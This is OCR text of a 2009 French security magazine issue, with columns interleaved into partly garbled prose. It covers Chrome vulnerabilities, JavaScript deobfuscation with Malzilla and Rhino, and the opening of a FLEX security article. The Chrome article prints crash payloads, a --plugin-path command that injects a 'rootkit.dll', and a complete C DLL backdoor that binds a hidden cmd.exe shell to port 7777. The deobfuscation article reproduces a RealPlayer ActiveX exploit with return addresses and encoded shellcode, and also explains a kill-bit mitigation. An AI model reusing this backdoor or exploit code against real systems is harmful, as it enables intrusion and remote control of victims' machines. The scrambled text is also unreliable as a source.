<a href="EVIL:%">link</a> Chrome ont exploité cette alternative afin Figure 5. Utilisation des différents
about:% de pouvoir intégrer des extensions à ce navigateurs
<a href="/crash/crash/crash/[...]/"> navigateur. L'idée est ingénieuse mais le
crash me</a> problème devient important si aucune et au sein d'un processus autorisé.
vérification sur la librairie ne survient. Il était très difficile alors de localiser
Dans la même veine, la consommation Ainsi la commande --plugin-path ne ce thread malin dans la liste des
mémoire du navigateur Chrome devient contrôle pas la nature et la provenance applications connues. Afin d'obtenir un
particulièrement gourmande si on utilise de ces susdites librairies. Il devient alors shell, cette source de DLL codée en C
certains caractères habituellement très facile d'injecter un code hostile dans est idéale. C'est un exemple parmi tant
réservés à la tabulation, au retour à la un processus Chrome. Ainsi, la librairie d'autres qui illustre bien le protocole
ligne, etc. Il existe un exploit simple qui se charge et DLLmain est exécuté selon propre aux librairies (considérez l'entrée
démontre la sensibilité du browser les conventions propres aux Dynamique unique DLLmain) :
à quelques commandes malignes Link Librar y. Certes, l'application se
(encore une fois, c'est un problème de clôture mais (comme le dit l'auteur de Introduction aux
filtrage des caractères) : l'a dvisor y) le mal est déjà fait. Voici la débordements de tampon
commande : S'il fallait vulgariser les principes
<script language="javascript"> Shell "c:\users\xxxxx\appdata\ propres à l'exécution d'un programme
window.open("\rn\rn"); local\google\ quelconque, nous pourrions finalement
chrome\application\ réduire la foultitude d'explications
chrome.exe –lang=fr complexes à quelques idées maîtresses.
--type = plugin – Ainsi, (en simplifiant au maximum) une
channel=3968.2993070. application en activité sous-entend :
1103732645 –plugin-
path=""c:\dossier\ • Des allocations de mémoire
rootkit.dll""" réservées,
• Une pile dynamique d'informations,
Note : Le numero du channel peut être • Un flux constant de commandes et
recuperé en listant les différents processus fonctions.
de chrome. N'oubliez pas que c'est
justement l'une des pertinences propres Cette perception simpliste d'une nature
à ce navigateur. En d'autres termes, c'est autrement plus complexe permet
un rootkit windows à moindre coût :) de comprendre l'interdépendance
Au mois de Mars 2007, nous avions de ces trois grands ensembles.
déjà consacré un long article sur les Ef fectivement, l'architecture propre
nouvelles formes de rootkits sous aux dif férents OS reste sensiblement
Windows. Cet article expliquait qu'il était identique au phénomène expliqué
Figure 4. Test acid2 sous Opera et possible d'injecter le code d'une librairie auparavant. Que ce soit IOS, UNIX ou
Chrome (résultat identique) dans une plage de mémoire valide encore Win32, ils s'emploient tous aux

Tableau 2 Un débordement de tampon typique


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
h t t p : / / h a k i n 9 . o r g
h t t p : / / h a k i n 9 . o r g / f r

24 HAKIN9 1/2009
LE NAVIGATEUR INTERNET SELON GOOGLE

mécaniques identiques afin d'exécuter nous. Dès le début des années 2000, autant que navrante. Les habitudes de
un programme. Néanmoins, puisque les administrateurs réseau (aussi programation (notamment en C/C++)
chacun profite des avantages d'une les particuliers) se sont retrouvés étaient extrêmement discutables.
pareille architecture (sur laquelle face à un problème particulièrement D'ailleurs, aujourd'hui encore, il n'est
repose l'ensemble de l'informatique intéressant : les débordements pas rare de rencontrer une pareille
moderne), il est logique d'en percevoir d'allocations mémoire (BOF). Après faille dans une application quelconque.
les faiblesses intrinsèques. Expliquons- analyse, la conclusion était inéluctable, C'est d'ailleurs le cas du navigateur
Chrome. Attardons-nous un court instant
sur le principe de cette ambiguïté. De
Listing 1. Une BackDoor au sein d’une DLL
nombreux articles ont été consacrés à
#define WIN32_LEAN_AND_MEAN cette vulnérabilité et à son exploitation.
#define MAX 256
En conséquence, nous ne traiterons
//#include <windows.h>
#include <stdio.h> que de l'esprit théorique sans aborder
#include <winsock2.h> les pertinences. Nous vous renvoyons
// Project - Settings - Link > Object/Library modules 'Ws2_32.lib' à d'autres articles disponibles sur
#pragma comment (lib,"Ws2_32.lib")
// Le port que nous utiliserons -
l'Internet.
int port = 7777; En théorie, la perception claire de
BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD lol, LPVOID lpReserved) cette vulnérabilité est simple à acquérir.
{
Imaginons une application au stade du
if( lol != DLL_PROCESS_ATTACH )return TRUE;
WSADATA wsa; // Constructeur wsa - développement comme Chrome. Dans
SOCKET sck; // Constructeur socket - le code source, l'une des allocations de
SOCKADDR_IN sAddr; // Constructeur rapport serveur - mémoire réclame un volume de n octets.
PROCESS_INFORMATION pi; // Constructeur Info sur service CMD -
STARTUPINFO si; // Constructeur Info de démarrage CMD -
Afin de simplifier notre étude, nous
WSAStartup( 0x0202, &wsa ); // Version 2 du socket Win32 - apportons une dénomination pratique
memset( &si, 0, sizeof( si ) ); // Initialisation de &si à 0 - à cette allocation, en l'occurence
si.cb = sizeof( si ); // sizeof -
tampon.
si.wShowWindow = SW_HIDE; // Option masquée de la console -
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // Flag - De plus, c'est l'utilisateur prochain
// Acceptation d'un client éventuel sans restriction - du programme qui définira cette entrée
sAddr.sin_addr.s_addr = INADDR_ANY; grâce à une chaîne de caractères.
sAddr.sin_port = htons( port ); // Port -
Elle pourrait correspondre à un login/
sAddr.sin_family = AF_INET; // Adresse Internet selon 4 octets -
// On accepte le client pour le rapport distant - password, une adresse Web dans un
sck = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); navigateur, une commande FTP, etc.
// Point de communication (ou s'il y a un problème, on termine) - Les semaines passent, le travail de
if( bind( sck, ( LPSOCKADDR )&sAddr, sizeof( sAddr ) )
== INVALID_SOCKET ){return TRUE;}
développement est achevé, le code est
// Ecoute du socket avec un maximum de 5 requêtes simultanées - compilé et le programme se retrouve sur
listen( sck, 5 ); des dizaines de milliers de machines
sck = accept( sck, NULL, NULL );
éparses dans le monde et l'Internet.
// InPut & OutPut pour redirection sur Handle du socket -
si.hStdInput = ( HANDLE )sck; Jusqu'ici tout va bien.
si.hStdOutput = ( HANDLE )sck; Or, durant chaque session, les
si.hStdError = ( HANDLE )sck; utilisateurs de l'application définissent
CreateProcess( NULL,
l'allocation tampon. Mais que se passe-
"cmd.exe", // Notre service CMD -
NULL, // Aucune ligne de commande de base - t-il lorsque l'entrée dépasse le volume
NULL, // Null par défaut - qui lui est accordé, comprendre n
TRUE, // Attributs du Thread - octets. En théorie et selon le degré du
NULL, // Flag Null -
NULL, // Null par défaut -
débordement, il se produit un décalage
NULL, // Null par défaut - important dans la pile. Le chaos
&si, // Pointeur STARTUPINFO - résultant de cette mécanique provoque
&pi ); // Pointeur PROCESS_INFORMATION -
un arrêt du programme, un déni de
// Attente d'un évènement sur le process CMD sans limite de temps -
WaitForSingleObject( pi.hProcess, INFINITE ); service (DoS).
// En cas d'évènement ou erreur, on rend la main ... Illustrons notre explication par
CloseHandle( pi.hProcess ); // Sur le process - deux modèles URL, dont le second ne
CloseHandle( pi.hThread ); // Sur le thread -
respecte pas un volume déclaré (pour
closesocket( sck ); // Sur le socket -
WSACleanup(); // Eradication du socket - notre exemple, on imagine 17 octets
return TRUE; // On rend la main - seulement). Au-delà de ce volume, nous
}
nous retrouvons avec un problème de
type débordement de tampon

1/2009 HAKIN9 25
DOSSIER
(en anglais buffer overflow). En théorie, Dans notre cas, le navigateur Chrome ou affichez sur les Services ou par le
les 3 derniers caractères sont de trop, la est vulnérable à un débordement de biais de ces derniers.
stabilité du programme est compromise. tampon sur la variable TITLE d'une
Vous remarquerez facilement qu'il page Web. Lorsqu'un internaute tente Néanmoins, auparavant le texte était
est possible d'entrer une chaîne de de copier et de lire une page HTML beaucoup plus permissieux. Beaucoup
caractères bien supérieure à la variable comportant un titre beaucoup trop long, ont été particulièrement surpris de
définie, comprendre 17 octets (voir le débordement permet d'écraser le rEIP considérer les attributions que Google
Tableau 2). et d'exécuter une ShellCode malin. La s'accordait. Certes, l'entorse est corrigé
Note : Notez que nous avons variable TITLE doit contenir plusieurs mais il traduit bien les ambitions du
utilisé l'expression en théorie dans milliers de caractères. cette vulnérabilité groupe. Il y a avait présentement un
le précédent paragraphe. Pour des constitue sous Chrome un véritable cas certain paradoxe concernant les droits
raisons de formatage du texte, nous d'école tant elle est facile à mettre en d'auteur et les logiciels libres. Nous
avons illustrer notre exemple via des œuvre et à exploiter. faisons figurer un extrait de l'ancienne
volumes très faibles. Or, la notion de licence :
débordement de tampon (ainsi que Test du WaSP
l'allocation de mémoire) sous-entend Le Web Standards Project (WaSP) est • 11.1(...)En fournissant, publiant ou
bien souvent des volumes beaucoup un groupe de concepteurs de sites web affichant le contenu, vous accordez
plus important. professionnels qui promeut l'utilisation à Google une licence permanente,
Il nous reste encore à citer le des standards recommandés par le irrévocable, mondiale, gratuite et non
problème majeur d'un code de cet World Wide Web Consortium (W3C). Créé exclusive permettant de reproduire,
acabit. Notre précédente explication en 1998, le Web Standards Project milite adapter, modifier, traduire, publier,
concluait à un DoS. Néanmoins, il est pour les usages des standards sur la présenter en public et distribuer
possible d'exploiter cette faille afin Toile. Cette politique permet de réduire le tout Contenu que vous avez fourni,
d'exécuter des commandes autrement coût et la complexité du développement publié ou affiché sur les Services ou
interdites en profitant des droits de sites web. Le WaSP collabore avec les par le biais de ces derniers. Cette
accordés au programme vulnérable. éditeurs de navigateurs Web, de logiciels licence a pour seul but de permettre
Comment est-ce possible ? d'édition de site Web, ainsi qu'avec à Google d’afficher, de distribuer
Lorsque le débordement s'emploie d'autres concepteurs de site Web afin et de promouvoir les Services et peut
à utiliser plusieurs centaines (voire des de concrétiser le véritable potentiel des être révoquée pour certains Services,
milliers) d'octets, le décalage est tel standards sur Internet. Le WaSP est selon les dispositions des Conditions
qu'il vient écraser le rEIP, comprendre donc à l'origine de plusieurs tests qui supplémentaires applicables à ces
le registre de pile correspondant confirment ou infirment la pertinence Services,
à l'adresse de retour sur instruction. Si le d'un navigateur. Le plus connu de tous • 11.2 Vous admettez que cette licence
volume exact est clairement identifié, un est le test nommé Acid2 qui affiche un inclut le droit pour Google de rendre
débordement peut redéfinir la variable smiley selon efficacité. Les résultats sont ce Contenu disponible pour d’autres
de 4 octets contenue dans le rEIP afin révélateurs du respect des standards du sociétés, organisations ou individus
de rebondir sur une portion de code Web. Nous ferons figurer en référence partenaires de Google pour la mise
supplémentaire. les navigateurs Opera, FireFox et Google à disposition de services syndiqués,
Durant l'exploitation d'un BOF, il Chrome (notez les résultats IE qui sont ainsi que le droit d’utiliser ce Contenu
convient de jumper sur un segment de affligeants de médiocrité). en relation avec la mise à disposition
la chaîne de caractères (notre allocation de ces services,
tampon) qui comporte un shellcode. Le paradoxe du libre selon Google • 11.3 Vous reconnaissez que Google,
Celui-ci est exécuté avec les droits de Au début du mois de Septembre en effectuant les étapes techniques
l'application vulnérable. En conclusion, et après l'indignation d'un bon nombre requises pour fournir les Services
reprenons notre explication figurant dans d'internautes soucieux des droits de à nos utilisateurs, peut (a)
notre introduction afin de démontrer chacun, Google est revenu sur les transmettre ou distribuer votre
que l'exploitation d'un BOF engage la termes et obligations exprimés dans la Contenu sur divers réseaux publics
mécanique complexe propre licence d'utilisation CLUF (en français ou dans divers média et (b) apporter
à l'informatique contemporaine : EULA). Aujourd'hui, on peut lire le texte les modifications nécessaires
suivant (nous citons) : à votre Contenu en vue d’adapter ce
• Une allocation de mémoire est Contenu aux exigences techniques
débordée, • 11Licence relative à votre liées à la connexion des réseaux,
• Le rEIP de la pile dynamique est ContenuVous conservez les droits des dispositifs, des services ou
écrasé, d'auteur et tous les autres droits des médias. Vous reconnaissez
• Un flux de commandes et fonctions en votre possession vis-à-vis du que cette licence autorise Google
est exécuté. Contenu que vous fournissez, publiez à entreprendre ces actions.

26 HAKIN9 1/2009
Sur Internet
Voici une liste des failles découvertes sur le navigateur Chrome et évoquées dans notre article :

• http://www.milw0rm.com/exploits/6355 – Automatic file download,


• http://www.milw0rm.com/exploits/6365 – Remote silent crash,
• http://www.milw0rm.com/exploits/6367 – Remote BOF exploit,
• http://www.milw0rm.com/exploits/6372 – HREF denial of service,
• http://www.milw0rm.com/exploits/6386 – Inspect element DoS,
• http://www.milw0rm.com/exploits/6554 – Memory exhaustion.

Article concernant l'injection d'une librairie sous Chrome :

• http://blogs.codes-sources.com/ebartsoft/rss.aspx.

Articles concernant les débordements de tampon :

• http://fr.wikipedia.org/wiki/Dépassement_de_tampon,
• http://www.hsc.fr/ressources/breves/stackoverflow-exploit.html.fr.

Site officiel du WaSP :

• http://www.webstandards.org.

Site officiel Google Chrome :

• http://www.google.com/chrome/index.html.

Conclusion Souvenons-nous que dans un registre


En toute objectivité, le navigateur Chrome identique, la majorité des utilisateurs des
est une bien intéressante initiative qui navigateurs FireFox ou Opera sont des
dispose d'une foultitude de bonnes personnes auparavants déçues par les
idées notamment (point principal) la failles et faiblesses multiples du browser
ségrégation des droits de chacun des Microsoft Internet Explorer.
onglets. Certes, encore faut-il occulter La leçon est pourtant facile
ce problème de licence très ennuyeux à comprendre : il reste toujours de la
et qui figre une perception du libre bien place pour une nouvelle application,
discutable. Néanmoins, son stade de mais il faut vraiment progresser et
bêta ne correspond aucunement au garantir un travail de qualité avant
attente d'un public averti et soucieux de de détroner les mastodontes que
son intégrité électronique, à moins d'être sont FF9 et consorts. En vérité, fort
particulièrement insouciant. Effectivement, de sa popularité, l'avenir se montre
beaucoup de bugs et failles diverses particulièrement radieux pour Google
viennent ruiner les joies premières qui et son navigateur. Reste qu'il faut encore
surviennent après installation. Peut-être, attendre avant de se faire une opinion
aurait-il fallu attendre une progression valable sur le grand intérêt de cette
dans le dévelopement avant de livrer le bel application.
outil au domaine public ? En conclusion, l'affaire reste à suivre
Ajoutons que l'autorité allemande de de très près avant de se lancer à cœur
sûreté des techniques d'information (BSI) perdu dans les applaudissements et les
a mis en garde les utilisateurs du louanges. Patience, patience.
navigateur Google Chrome contre un
usage trop fréquent. Nous citonc donc
le quotidien Berliner Zeitung : Google Sicchia Didier
Sicchia Didier est à l'origine de nombreux exploits,
Chrome ne doit pas être employé pour dossiers et articles divers pour plusieurs publications
un usage d'ordre général. Le porte-parole francophones consacrées à la sécurité informatique
et au développement. Autodidacte et passionné, son
de l'autorité fédérale a aussi déclaré que expérience se porte notamment sur les shellcodes, les
pour des raisons de sécurité technique, débordements d'allocations de mémoire, les RootKits,
etc. Plus que tout autre chose, c'est l'esprit alternatif de la
l'accumulation de données par un communauté UnderGround qui le motive. Pour contacter
fournisseur pose problème. l'auteur : didier.sicchia@free.fr

1/2009 HAKIN9 27
DOSSIER
DAVID MACIEJAK

Obfuscation
de code javascript (partie 1)
Degré de difficulté

Parfois, alors que le noyau principal ne pose aucun problème, les


extensions de l'application (ActiveX notamment) sont sensibles
à une exploitation malveillante et quelconque. Plusieurs fois par le
passé, les gestionnaires de scripts ont posés de très sérieuses
difficultés.

A
fin de contourner les systèmes de d'étudier les scripts (citons par exemple Malzilla
protection IDS/IPS ou AV, une personne et Rhino). Cependant ils ne font pas tout le travail.
malveillante peut avoir recours aux De ce fait, dans cet article en 3 parties,
techniques d'obfuscation. Ces méthodes sont nous allons fournir quelques exemples
le plus souvent combinées ensemble afin trouvés sur Internet et dont la permissivité est
d'obfusquer les scripts plusieurs fois. Pour volontairement graduelle. Nous allons aussi
illustrer le principe de la façon la plus simple, on
parlera de camouflage du code. Le caractère
Listing 1. Obfuscation basique de chaînes
furtif de l'attaque est ainsi optimal! de caractères
Depuis peu, nous voyons apparaître
var cuteqqado="A"+"d"+"o"+"d"+"b."+"S"+"t"+
des techniques d'obfuscation dynamique
"r"+"e"+"a"+"m";
(comprendre polymorphique et côté serveur). var GomManager = new ActiveXObject("oq7ejgoMT
Ainsi, chaque fois que le script est téléchargé hbbeFlnVadR30DBeSX2omWebCtrl.oq7ejgoM
pour exécution, une nouvelle version est ThbbeFlnVadR30DBeSX2omManager.1".
replace (/oq7ejgoMThbbeFlnVadR30DBeSX2
présentée (à noter que cela est souvent le cas
/ ig, "G"));
pour les fichiers exécutables). Ainsi, il est très
difficile d'établir une signature quelconque. Listing 2. Exemple avec Rhino

# rhino
CET ARTICLE Afin de désobfusquer Rhino 1.7 release 1 2008 03 06
EXPLIQUE... les scripts ? js> document={write:print};
Comment les instanciations Tous les scripts obfusqués ne sont pas [object Object]
ActiveX peuvent être cachées en js>"oq7ejgoMThbbeFlnVadR30DBeSX2omWebCtrl.
utilisant un code Javascript.
malicieux. Ne sombrons pas dans la paranoïa
oq7ejgoMThbbeFlnVadR30DBeSX2omManager.1"
compulsive! Néanmoins, il est vrai qu'il n'est .replace(/oq7ejgoMThbbeFlnVadR30DBeSX2/
Comment utiliser des outils
Open Source afin d'automatiser pas courant d'obfusquer un contenu Web, ig, "G")
la désobfuscation des codes mais certaines compagnies ou particuliers GomWebCtrl.GomManager.1
Javascript malicieux.
utilisent ces méthodes. Dès lors, afin d'identifier Listing 3. Script malicieux, le code a été
CE QU'IL FAUT la menace, une analyse minutieuse du script découpé pour plus de clarté :
SAVOIR... s'impose afin de prévenir une exécution
<sCrIpT lAnGuAgE="jAvAsCrIpT">
Connaissances de base du malveillante (virus, exploitation de faille critique,
langage Javascript. eval("\146\165\156\143\164\151\157\156\
etc). 40...\50\51\73")
Connaissances de base du
fonctionnement des composants
Pour aider à cette tâche, des outils ont </script>
ActiveX. été développés pour permettre aux analystes

28 HAKIN9 1/2009
JAVASCRIPT OBFUSCATION

expliquer comment avoir un accès rapide


à l'information importante durant le
traitement du code.

Instanciation des
composants ActiveX
Pour commencer, nous allons fournir des
détails sur la méthode afin de charger un
composant ActiveX dans le navigateur.
Vous devez savoir que cette technologie
ne fonctionne normalement que sur les
plates-formes Microsofts et seulement
grâce à l'utilisation d'Internet Explorer ou
du navigateur Google Chrome (il manque
encore de stabilité dans ce domaine
précis).
Ci-dessous, la définition provenant de
Wikipedia :
Component Object Model, aussi
connu sous le nom de ActiveX est Figure 1. Écran principal de Malzilla
un composant logiciel (comme les
DLL) créé par Microsoft. Il est utilisé
en programmation pour permettre le
dialogue entre programmes.
Il y a deux façons distinctes de
charger ce genre de composant,
sachant que l'un est d'utiliser le CLASSID
et l'autre le ProgID . Le langage HTML
fournit la balise OBJECT pour charger
un composant ActiveX à partir du CLSID
comme dans l'exemple ci-dessous :

<OBJECT ID="wwwcuteqqcn"
Classid="clsid:{A7F05EE4- Figure 2. Onglet Decoder de Malzilla
0426-454F-8013-C41E3596E9E9}">
</OBJECT>

Le composant est alors instancié dans


le navigateur et peut être référéncé
par le nom ID, dans notre exemple
"wwwcuteqqcn."
Le langage Javascript dispose aussi
de la méthode ActiveXObject pour charger
les composants ActiveX en se basant sur
le ProgID :

var GomManager = new ActiveXObject (


"GomWebCtrl.GomManager.1");

La méthode VBscript correpondante se


nomme CreateObject et peut être utilisée
ainsi :

dim myexcel
Set myexcel=CreateObject("Excel.
Sheet") Figure 3. Débuguer un script avec Malzilla

1/2009 HAKIN9 29
DOSSIER
Notez que les attaquants utilisent des Ainsi, voici quelques exemples qui peuvent Flags correspondante à notre ActiveX. La
méthodes permettant de masquer les être trouvés sur Internet (voir Listing 1). La clé HKLM est la suivante :
chaînes de caractères afin de compliquer solution est de mettre à jour le software
l'étude des analystes, mais aussi afin de vulnérable ou de le supprimer. On peut HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
contourner les détections éventuelles. Les aussi restreindre l'utilisation des ActiveX Internet Explorer\ActiveX
méthodes sont diverses : afin d'éviter toute compromission. Compatibility<CharStyle:FOREIGN>
Cette dernière méthode est nommé CLSID of the ActiveX control
• supprimer les sauts de lignes, “position kill bit”.
• renommer les variables/fonctions, Afin d'appliquer cette option préventive, CLSID of the ActiveX Control est
• ajouter du code qui n'est pas utilisé, il faut utiliser l'éditeur de la base de registre l'identifiant de classe du contrôle ActiveX.
• découper les chaînes. pour modifier la valeur du Compatibility Une fois cette clé identifiée, changez
la valeur du Compatibility Flags
Listing 4. L'exploit Realplayer à 0x00000400 (vous aurez besoin de la
créer si elle n'existe pas déja).
function RealExploit() {
var user=navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)return;
Outils pour la
if(user.indexOf("nt 5.")==-1)return; désobfuscation
VulObject="IERPCtl.IERPCtl.1"; Nous pourrions jouer avec des scripts
try {
Perl ou modifier le code Javascript pour y
Real=new ActiveXObject(VulObject)
}
ajouter des appels à la fonction Alert()
catch(error) { afin de les débugger mais ces méthodes
return prennent beaucoup de temps.
}
La solution la plus rapide est d'utiliser
RealVersion=Real.PlayerProperty("PRODUCTVERSION");
Padding=""; des outils dédiés à cette tâche. Nous
JmpOver=unescape("%75%06%74%04"); allons présenter dans cette partie
l'utilisation de Rhino et Malzilla.
for(i=0; i<32*148; i++) Padding+="S";
if(RealVersion.indexOf("6.0.14.")==-1) {
Rhino est disponible sur Internet [2],
if(navigator.userLanguage.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60"); c'est une implémentation Open Source
else if(navigator.userLanguage.toLowerCase()=="en-us")ret=unescape(" du moteur Javascript écrit entièrement
%4f%71%a4%60");
en Java. La dernière version de Rhino
else return
} disponible actuellement est la version 1.7
else if(RealVersion=="6.0.14.544")ret=unescape("%63%11%08%60"); Rhino fournit un shell interactif afin de
else if(RealVersion=="6.0.14.550")ret=unescape("%63%11%04%60"); débuguer les scripts.
else if(RealVersion=="6.0.14.552")ret=unescape("%79%31%01%60");
Note 1 : Rhino interprète seulement
else if(RealVersion=="6.0.14.543")ret=unescape("%79%31%09%60");
else if(RealVersion=="6.0.14.536")ret=unescape("%51%11%70%63"); le Javascript. Or, si vous avez besoin
else return; de vérifier du VBScript, vous ne pourrez
pas automatiser cette tâche. Nous
if(RealVersion.indexOf("6.0.10.")!=-1) {
for(i=0; i<4; i++) Padding=Padding+JmpOver;
présenterons quelques conseils afin de
Padding=Padding+ret faciliter ce processus dans une prochaine
} partie.
else if(RealVersion.indexOf("6.0.11.")!=-1) {
Note 2 : Vous pouvez toujours
for(i=0; i<6; i++) Padding=Padding+JmpOver;
Padding=Padding+ret utiliser quelques add-on pour votre
} navigateur afin de débuguer “pas à pas”
else if(RealVersion.indexOf("6.0.12.")!=-1) { le script (comme Firebug or Venkman
for(i=0; i<9; i++)Padding=Padding+JmpOver;
pour Mozilla Firefox). Cette méthode
Padding=Padding+ret
} est efficace sur des scripts simples,
else if(RealVersion.indexOf("6.0.14.")!=-1) { mais malheureusement beaucoup
for(i=0; i<10; i++) Padding=Padding+JmpOver;
plus astreignante et complexe sur
Padding=Padding+ret
}
des scripts malicieux. La raison est
AdjESP="LLLL\\XXXXXLD"; simple : ils utilisent plusieurs couches
Shell="TYIIIIIIIIIIIIIIII7...5P"; d'obfuscation forte, ainsi le script est écrit
PayLoad=Padding+AdjESP+Shell;
une nouvelle fois entre chaque boucle de
while(PayLoad.length<0x8000)PayLoad+="YuanGe";
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav",PayLoad,"",0,0) désobfuscation.
} Vous devez tout d'abord nettoyer le
RealExploit(); fichier que vous voulez fournir à Rhino
en supprimant les nombreuses balises

30 HAKIN9 1/2009
DOSSIER
HTML. Généralement, les scripts utilisent suivante a besoin d'être ajouté au début Malzilla est disponible sur Internet [3].
la fonction document.write() pour écrire du script : document={write:print}; La dernière version disponible
le code dans le navigateur. Comme Rhino Elle rédirige tous les appels actuellement est la 0.9.2.4 (Listing 3).
n'implémente pas cet objet, la façon la à document.write() vers la fonction Dans le Listing 3, comme vous pouvez
plus rapide est de surcharger la fonction print(). Voir l'exemple Listing 2. le voir, les balises ont l'air étrange car
par la fonction print() de Rhino qui Nous pouvons considérer dans elles utilisent en alternance les caractères
a pour effet d'écrire sur la sortie standard. cette exemple que le résultat final est majuscules et minuscules, le corps du
Quelques fois, vous aurez juste besoin directement affiché par Rhino. Il peut aussi script aussi contient un appel explicite à la
de surcharger la fonction eval() par être utilisé avec l'option -f permettant de fonction eval() avec pour argument une
print(), cela est notamment le cas pour lui passer un fichier directement en ligne chaîne de caractères en base octale.
le paquet de Dean Edward que nous de commande. Le résultat est par défaut Il est aussi très courant de trouver
verrons dans une autre partie. La ligne dirigé vers la sortie standard. sur Internet des combinaisons de
eval(unescape(...)). A présent,
nous allons aborder la méthode afin
de décoder cette chaîne et identifier la
menace.
En premier lieu, Malzilla peut être
utilisé comme un navigateur pour
télécharger un fichier Internet. Vous
pouvez choisir le User-Agent et positionner
le Referer (particulièrement utile depuis
que certains sites malicieux testent ces
valeurs). La plupart du temps, ils vérifient
que le navigateur est bien IE. Si vous avez
déja le script vous pouvez le copier/coller
dans la fenêtre prévue à cet effet comme
indiqué dans la Figure 1.
Maintenant que le code a été chargé
dans Malzilla, nous allons voir comment
utiliser le décodeur pour le désobfusquer.
Cliquez sur Send script to Decoder
pour copier/coller automatiquement le
code vers l'onglet Decoder. Le code HTML
Figure 4. Indentation de code dans Malzilla et les tags seront supprimés comme le
montre la Figure 2. De l'onglet Decoder,
vous disposez uniquement du code.
Note : l'onglet Misc Decoders est
aussi disponible, il peut être utile dans
certains cas de manipulation de chaînes
de caractères.
Comme il n'y a pas de fonction
permettant de convertir directement la
base octale, il va falloir utiliser la même
méthode que Rhino (comprendre changer
la fonction eval() en une fonction
permettant l'affichage). Nous pouvons
utiliser la commande Replace eval()
with print ou surcharger par un appel
à document.write et cliquer sur le bouton
Run script. Plus simple encore, cochez
Override eval() et cliquez directement
sur le bouton Run script . La chaîne évaluée
sera affichée dans la partie basse de
Malzilla comme le montre la Figure 3.
Maintenant, nous pouvons lire du code
Figure 5. Concaténation automatique dans Misc Decoders de Malzilla compréhensible. Nous pouvons alors le

32 HAKIN9 1/2009
JAVASCRIPT OBFUSCATION

copier/coller dans l'onglet du Decoder


et cliquer sur le bouton Format Code pour
l'indenter automatiquement comme le
montre le Figure 4.
Nous disposons d'un script beaucoup
plus lisible, la ligne 6 est :

VulnObject="IER"+"PCtl.I"+"ERP"+
"Ctl.1";

La dernière étape consiste à copier/coller


le code dans l'onglet Misc Decoders
et d'utiliser la commande Concatenate
(voir Figure 5).
Le Listing 4 illustre le script final. Il
contient une fonction nommé RealExploit :

• qui créée un ActiveXObject


"IERPCtl.IERPCtl.1",
• fait certaines opérations dépendant de
la version de RealPlayer,
• appel une méthode nommé Import .

En cherchant sur Internet, on trouve les


détails d'une vulnérabilité dans RealPlayer
ierpplug.dll ActiveX référencé sous CVE-
2007-5601 . En finalité, il s'agit du modèle
que nous venons de considérer. Grâce
à cet exercice, nous avons identifié un
code hostile !

Quelle est la nature


de cet exploit?
Pour répondre à cette question, nous
devons analyser le shellcode (c'est une
petite partie de code utilisé comme
charge active dans l'exploitation des
vulnérabilités).
Dans notre exemple, le code malicieux
positionne la variable Shell. Celle-ci
contient une longue chaîne de caractères
essentiellement alpha-numérique.
En fait, nous sommes en présence
d'un shellcode encodé. Cette méthode
se nomme alpha encoding. Elle camoufle
les shellcode x86 afin de ne contenir que
des caractères 0-9 et A-Z. Le résultat est
une version pleinement fonctionnelle de
l'original (voir plus en détail [4]). Le code
sera décodé lors de l'exécution.

David Maciejak
David Maciejak travaille pour la société Fortinet en tant
que Security Researcher. Son travail consiste à suivre
l'évolution des vulnérabilités et aussi de fournir une
protection adéquate selon les profils des utilisateurs.

1/2009 HAKIN9 33
DOSSIER

RIA
ADITYA K SOOD

Failles relatives à code


source des applications FLEX
Degré de difficulté

Cette étude porte sur les failles relatives à la conception des


applications FLEX du point de vue du programmeur.
Le comportement d'une application dépend de son code source.
En règle générale, les failles relatives aux applications proviennent
d'un code source mauvais ou insuffisamment sécurisé.

I
l en résulte que la couche applicative est Integrated Working Model FLEX
permissive aux attaques. Certes, la complexité [RIA] : Vue d'ensemble
des applications s'est accrue avec la FLEX est adapté au développement
technologie mais il faut toujours veiller à leur d'applications AIR. FLEX est un framework
robustesse afin d'éviter les attaques. La phase de de conception d'applications prévues
développement est donc primordiale. L'Application pour flash player [SWF] et Adobe Run Time
Internet Riche (RIA) est un framework multi- environment [AIR]. Tout au long de cet article,
plateforme qui permet d'exécuter des applications MX est la convention utilisée pour désigner la
côté serveur (ex : applications de bureau). conception de l'application. Le namespace
Prenons l'exemple d'AIR. Les applications AIR est indispensable pour indiquer le standard
sont écrites sous FLEX Builder, elles sont lancées selon lequel les applications fonctionnent.
grâce à un seul paquetage. En règle générale les L'URI est indiquée avec XMLNS: MX . Une étape
applications AIR sont considérées comme des essentielle est la génération simultanée du
applications basées sur Flex. La seule différence fichier XML avec l'ensemble des instructions
réside dans leur déploiement. Les applications de notre fichier méthode. Ci-dessous,
AIR sont exécutées en tant qu'applications une présentation du modèle intégré. Les
de bureau autonomes, dans l'environnement composants standards et les applications
CET ARTICLE d'Adobe. Il y a un grand nombre de problèmes AIR sont conçues sous FLEX selon ce modèle
EXPLIQUE... qui se posent lorsqu'on souhaite concevoir une (Figure 1).
Les phases de test et d'audit des application FLEX à la fois sécurisée et efficace. Ce modèle sert de point de départ à la
applications Internet Riches.
Notre étude mettra en lumière les problèmes création d'applications RIA. Lorsque vous
Les méthodes d'audit avec
description des outils utilisés.
d'insécurité et leurs impacts. débutez la création d'une nouvelle fenêtre, la
balise <MX: Windowed Application> est
Les nouvelles techniques
qui permettent de compiler/ Vue d'ensemble utilisée. Nombre d'objets sont appelés par
décompiler les fichiers SWF. Les applications peuvent être lancées sur l'intermédiaire de cette balise. Pour implémenter
CE QU'IL FAUT plusieurs plateformes : Windows, Linux et Mac OS. du code ActionScript, la balise <MX: Script>
SAVOIR... L'exécution des applications nécessite l'installation est utilisée. Dans ce script, les éléments
Une compréhension basique de l'environnement approprié. Le développement proviennent de structures CDATA . À l'opposé les
des applications Internet Riches d'applications orientées bureau se base sur scripts de type CSS sont appelés par la balise
est utile.
les technologies Web. La tendance est au <MS: Style>.
Une connaissance des outils
d'audit des applications Internet
changement et les évolutions dans ce domaine Ci-dessous, un code type que vous pouvez
